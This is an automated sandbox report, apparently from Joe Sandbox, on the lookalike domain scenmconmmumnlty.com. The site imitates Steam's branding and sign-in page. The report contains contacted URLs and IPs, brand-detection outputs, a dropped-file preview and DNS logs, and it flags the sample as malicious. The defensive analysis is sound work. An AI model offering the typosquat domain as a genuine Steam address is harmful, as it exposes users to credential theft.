https://store.steampowered.com/account/cookiepreferences/	chromecache_349.2.dr, chromecache_556.2.dr	false		unknown
https://help.steampowered.com/en/	chromecache_464.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
http://api.jqueryui.com/drop-effect/	chromecache_222.2.dr, chromecache_549.2.dr	false		unknown
https://help.steampowered.com/bg/	chromecache_464.2.dr	false		unknown
http://diveintomark.org/)	chromecache_446.2.dr, chromecache_430.2.dr, chromecache_563.2.dr	false		unknown
https://store.steampowered.com/?snr=1_60_4__global-header	chromecache_270.2.dr	false		unknown
https://cloud.google.com/contact	chromecache_286.2.dr, chromecache_309.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_3-4.png	chromecache_550.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithAccount	chromecache_464.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=	chromecache_595.2.dr	false		unknown
http://www.steampowered.com/steamworks/	chromecache_270.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/login/ipt_lockout_icon.png	chromecache_474.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_geo_7-8.png?v=2	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_shapes_3.png?v=2	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_waterelement.png	chromecache_550.2.dr	false		unknown
http://bugs.jquery.com/ticket/8235	chromecache_222.2.dr, chromecache_549.2.dr	false		unknown
https://help.steampowered.com/hu/	chromecache_464.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxSubmitRefundRequest/	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
https://steamcommunity.com/workshop/	chromecache_270.2.dr, chromecache_464.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_steam_china_mobile.	chromecache_474.2.dr	false		unknown
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_270.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false		unknown
https://store.steampowered.com/search/smallcapscroll	chromecache_232.2.dr, chromecache_234.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithLimitedAccount	chromecache_594.2.dr	false		unknown
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	chromecache_286.2.dr, chromecache_309.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_crystals.png	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.pn	chromecache_550.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithUnknownCharges	chromecache_464.2.dr	false		unknown
https://help.steampowered.com/el/	chromecache_464.2.dr	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
2.16.238.151	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.19.126.89	unknown	European Union	16625	AKAMAI-ASUS	false
142.250.185.100	unknown	United States	15169	GOOGLEUS	false
172.64.145.151	community.cloudflare.steamstatic.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
95.101.54.217	store.akamai.steamstatic.com	European Union	34164	AKAMAI-LONGB	false
142.250.74.195	recaptcha.net	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.42.105	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.72.124	fonts.cdnfonts.com	United States	13335	CLOUDFLARENETUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
2.16.168.12	community.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
2.16.168.4	cdn.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
2.16.168.5	unknown	European Union	20940	AKAMAI-ASN1EU	false
95.101.149.47	store.steampowered.com	European Union	20940	AKAMAI-ASN1EU	false
188.114.96.3	scenmconmmumnlty.com	European Union	13335	CLOUDFLARENETUS	false
104.102.49.254	api.steampowered.com	United States	16625	AKAMAI-ASUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521720
Start date and time:	2024-09-29 02:40:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://scenmconmmumnlty.com/close/geting/active
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@26/611@82/24
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://store.steampowered.com/mobile Browse: https://help.steampowered.com/ru/ Browse: https://store.steampowered.com/about/

Input	Output
URL: https://scenmconmmumnlty.com/close/geting/active Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Install Steam", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/login/?14__global-header Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Create an account", "text_input_field_labels":["Email", "Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://scenmconmmumnlty.com/close/geting/active Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":null, "prominent_button_name":"SIGN IN", "text_input_field_labels":null, "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/login/?14__global-header Model: jbxai	{ "phishing_score":1, "brands":"Steam", "legit_domain":"steampowered.com", "classification":"wellknown", "reasons":["The brand 'Steam' is well-known and widely recognized.", "The URL 'store.steampowered.com' matches the legitimate domain name for Steam.", "No suspicious elements such as misspellings, extra characters, or unusual domain extensions are present in the URL."], "brand_matches":[true], "url_match":true, "brand_input":"Steam", "input_fields":"Email, Password"}

URL: https://store.steampowered.com/mobile Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":null, "prominent_button_name":"unknown", "text_input_field_labels":["Steam Mobile", "Steam Guard", "Marci"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/mobile Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://help.steampowered.com/ru/ Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/about/ Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Install Steam", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/about/ Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Install Steam", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://help.steampowered.com/ru/ Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":true, "trigger_text":", ", "prominent_button_name":" Steam", "text_input_field_labels":["Counter-Strike 2", "Dota 2", "PUBG: BATTLEGROUNDS", "Black Myth: Wukong", ", ..", "", " ", ", , Steam"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/about/ Model: jbxai	{ "brand":["Steam"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"INSTALL STEAM", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:41:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.975042761496891
Encrypted:	false
SSDEEP:	48:8Xd5Thhc+H5idAKZdA19ehwiZUklqehsJy+3:8/3cABJy
MD5:	AADC5850CA2686295803EC32A3CA618D
SHA1:	D7BC14EADE7F36B027FF97C199EB9FB320FCF785
SHA-256:	91A7BA1F99D61BF2B97838FFECC0DB9009082A3F912B18C12B08D7ED71CFF15F
SHA-512:	8AE057173AAE71BDB821521EAFDA2D5904201B21D694DFC30A285A4886BD00BFFEB9A61F8B8B7225D6C3E127D3F811BFB954E992F24006158E7830FF8C3E34D3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....za.T....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Y/.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Y/.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Y/.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Y/............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Y1............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............G.G.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 02:41:32.506299973 CEST	192.168.2.5	1.1.1.1	0x4955	Standard query (0)	scenmconmmumnlty.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:32.507749081 CEST	192.168.2.5	1.1.1.1	0x3a47	Standard query (0)	scenmconmmumnlty.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:34.114051104 CEST	192.168.2.5	1.1.1.1	0x7968	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:34.114567995 CEST	192.168.2.5	1.1.1.1	0xc18b	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:35.484189987 CEST	192.168.2.5	1.1.1.1	0xfcf0	Standard query (0)	scenmconmmumnlty.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.484385014 CEST	192.168.2.5	1.1.1.1	0xa3c2	Standard query (0)	scenmconmmumnlty.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:35.493598938 CEST	192.168.2.5	1.1.1.1	0x3a45	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.493959904 CEST	192.168.2.5	1.1.1.1	0x9d0c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:35.535528898 CEST	192.168.2.5	1.1.1.1	0x4939	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.535923958 CEST	192.168.2.5	1.1.1.1	0x4486	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:37.735560894 CEST	192.168.2.5	1.1.1.1	0x394	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.736087084 CEST	192.168.2.5	1.1.1.1	0x9414	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:37.743993998 CEST	192.168.2.5	1.1.1.1	0xb614	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.744396925 CEST	192.168.2.5	1.1.1.1	0xb8fa	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:37.744992018 CEST	192.168.2.5	1.1.1.1	0xf5e4	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.745697021 CEST	192.168.2.5	1.1.1.1	0xaa1b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:38.902789116 CEST	192.168.2.5	1.1.1.1	0xdfc1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.903456926 CEST	192.168.2.5	1.1.1.1	0xca4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:38.917576075 CEST	192.168.2.5	1.1.1.1	0xb22e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.917876005 CEST	192.168.2.5	1.1.1.1	0x16c1	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:39.818469048 CEST	192.168.2.5	1.1.1.1	0xb382	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:39.818656921 CEST	192.168.2.5	1.1.1.1	0xcda9	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:41.516046047 CEST	192.168.2.5	1.1.1.1	0xf884	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Sep 29, 2024 02:41:41.516046047 CEST	192.168.2.5	1.1.1.1	0x40b	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.525073051 CEST	192.168.2.5	1.1.1.1	0xc7bb	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.525291920 CEST	192.168.2.5	1.1.1.1	0xc730	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:41.684535980 CEST	192.168.2.5	1.1.1.1	0x67a5	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.684716940 CEST	192.168.2.5	1.1.1.1	0x3d72	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:42.524852991 CEST	192.168.2.5	1.1.1.1	0x5333	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:42.525438070 CEST	192.168.2.5	1.1.1.1	0x48ba	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Sep 29, 2024 02:41:42.835042000 CEST	192.168.2.5	1.1.1.1	0xc2b5	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:42.835256100 CEST	192.168.2.5	1.1.1.1	0x70e9	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:41:44.446803093 CEST	192.168.2.5	1.1.1.1	0xadc1	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:44.447130919 CEST	192.168.2.5	1.1.1.1	0xd785	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:05.834024906 CEST	192.168.2.5	1.1.1.1	0x225b	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:05.834278107 CEST	192.168.2.5	1.1.1.1	0x181c	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 29, 2024 02:42:06.736718893 CEST	192.168.2.5	1.1.1.1	0x2e9	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:06.737004995 CEST	192.168.2.5	1.1.1.1	0x4eed	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 29, 2024 02:42:07.189857960 CEST	192.168.2.5	1.1.1.1	0xe108	Standard query (0)	fonts.cdnfonts.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:07.189963102 CEST	192.168.2.5	1.1.1.1	0xac1e	Standard query (0)	fonts.cdnfonts.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:10.013261080 CEST	192.168.2.5	1.1.1.1	0x643b	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:10.013261080 CEST	192.168.2.5	1.1.1.1	0x1fb6	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.014710903 CEST	192.168.2.5	1.1.1.1	0x4f8e	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.015023947 CEST	192.168.2.5	1.1.1.1	0xf57a	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:10.628405094 CEST	192.168.2.5	1.1.1.1	0xd0b6	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.628894091 CEST	192.168.2.5	1.1.1.1	0xc2f4	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:10.946299076 CEST	192.168.2.5	1.1.1.1	0x42f2	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.946477890 CEST	192.168.2.5	1.1.1.1	0x6daf	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:11.878005981 CEST	192.168.2.5	1.1.1.1	0xe243	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:11.878281116 CEST	192.168.2.5	1.1.1.1	0x5e8	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:13.154110909 CEST	192.168.2.5	1.1.1.1	0x4f13	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:13.154352903 CEST	192.168.2.5	1.1.1.1	0x88f3	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:23.265511036 CEST	192.168.2.5	1.1.1.1	0x36a	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:23.265671015 CEST	192.168.2.5	1.1.1.1	0xa8b7	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:24.373408079 CEST	192.168.2.5	1.1.1.1	0x6f87	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.373408079 CEST	192.168.2.5	1.1.1.1	0x51de	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:24.427676916 CEST	192.168.2.5	1.1.1.1	0xe69e	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:24.427678108 CEST	192.168.2.5	1.1.1.1	0xc178	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.459908009 CEST	192.168.2.5	1.1.1.1	0x3e1e	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.460155010 CEST	192.168.2.5	1.1.1.1	0x6851	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:25.965405941 CEST	192.168.2.5	1.1.1.1	0x3d3c	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:25.966974974 CEST	192.168.2.5	1.1.1.1	0x770d	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:31.183038950 CEST	192.168.2.5	1.1.1.1	0x136b	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:31.183304071 CEST	192.168.2.5	1.1.1.1	0x898b	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:33.924900055 CEST	192.168.2.5	1.1.1.1	0xa4c0	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:33.925129890 CEST	192.168.2.5	1.1.1.1	0x28f4	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:35.619716883 CEST	192.168.2.5	1.1.1.1	0x46e8	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.620109081 CEST	192.168.2.5	1.1.1.1	0x1c19	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:35.621606112 CEST	192.168.2.5	1.1.1.1	0x2d54	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.622005939 CEST	192.168.2.5	1.1.1.1	0x7d3d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:37.394108057 CEST	192.168.2.5	1.1.1.1	0xf8d6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:37.394367933 CEST	192.168.2.5	1.1.1.1	0xc856	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:42.851811886 CEST	192.168.2.5	1.1.1.1	0x55fa	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:42.852150917 CEST	192.168.2.5	1.1.1.1	0x4d6c	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:43.349251032 CEST	192.168.2.5	1.1.1.1	0xc729	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:43.349412918 CEST	192.168.2.5	1.1.1.1	0xd646	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:43.589925051 CEST	192.168.2.5	1.1.1.1	0x92ac	Standard query (0)	shared.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:43.590142012 CEST	192.168.2.5	1.1.1.1	0x5c14	Standard query (0)	shared.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:45.602394104 CEST	192.168.2.5	1.1.1.1	0x472c	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:45.603080988 CEST	192.168.2.5	1.1.1.1	0x1f44	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 29, 2024 02:42:45.624782085 CEST	192.168.2.5	1.1.1.1	0x1ecf	Standard query (0)	shared.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:45.625072956 CEST	192.168.2.5	1.1.1.1	0x447	Standard query (0)	shared.akamai.steamstatic.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 02:41:32.514791965 CEST	1.1.1.1	192.168.2.5	0x4955	No error (0)	scenmconmmumnlty.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:32.514791965 CEST	1.1.1.1	192.168.2.5	0x4955	No error (0)	scenmconmmumnlty.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:32.516741037 CEST	1.1.1.1	192.168.2.5	0x3a47	No error (0)	scenmconmmumnlty.com			65	IN (0x0001)	false
Sep 29, 2024 02:41:34.120778084 CEST	1.1.1.1	192.168.2.5	0x7968	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.493423939 CEST	1.1.1.1	192.168.2.5	0xa3c2	No error (0)	scenmconmmumnlty.com			65	IN (0x0001)	false
Sep 29, 2024 02:41:35.500478029 CEST	1.1.1.1	192.168.2.5	0x3a45	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.501916885 CEST	1.1.1.1	192.168.2.5	0x9d0c	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 02:41:35.543447018 CEST	1.1.1.1	192.168.2.5	0x4939	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.634094000 CEST	1.1.1.1	192.168.2.5	0xfcf0	No error (0)	scenmconmmumnlty.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:35.634094000 CEST	1.1.1.1	192.168.2.5	0xfcf0	No error (0)	scenmconmmumnlty.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.742677927 CEST	1.1.1.1	192.168.2.5	0x394	No error (0)	store.akamai.steamstatic.com		95.101.54.217	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.742677927 CEST	1.1.1.1	192.168.2.5	0x394	No error (0)	store.akamai.steamstatic.com		95.101.54.105	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.750456095 CEST	1.1.1.1	192.168.2.5	0xb614	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.750456095 CEST	1.1.1.1	192.168.2.5	0xb614	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.751246929 CEST	1.1.1.1	192.168.2.5	0xb8fa	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:41:37.751935959 CEST	1.1.1.1	192.168.2.5	0xf5e4	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.751935959 CEST	1.1.1.1	192.168.2.5	0xf5e4	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.751935959 CEST	1.1.1.1	192.168.2.5	0xf5e4	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:37.751935959 CEST	1.1.1.1	192.168.2.5	0xf5e4	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.909286022 CEST	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.909286022 CEST	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.909286022 CEST	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.909286022 CEST	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.924010038 CEST	1.1.1.1	192.168.2.5	0xb22e	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.924010038 CEST	1.1.1.1	192.168.2.5	0xb22e	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:38.924343109 CEST	1.1.1.1	192.168.2.5	0x16c1	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:41:39.825331926 CEST	1.1.1.1	192.168.2.5	0xb382	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
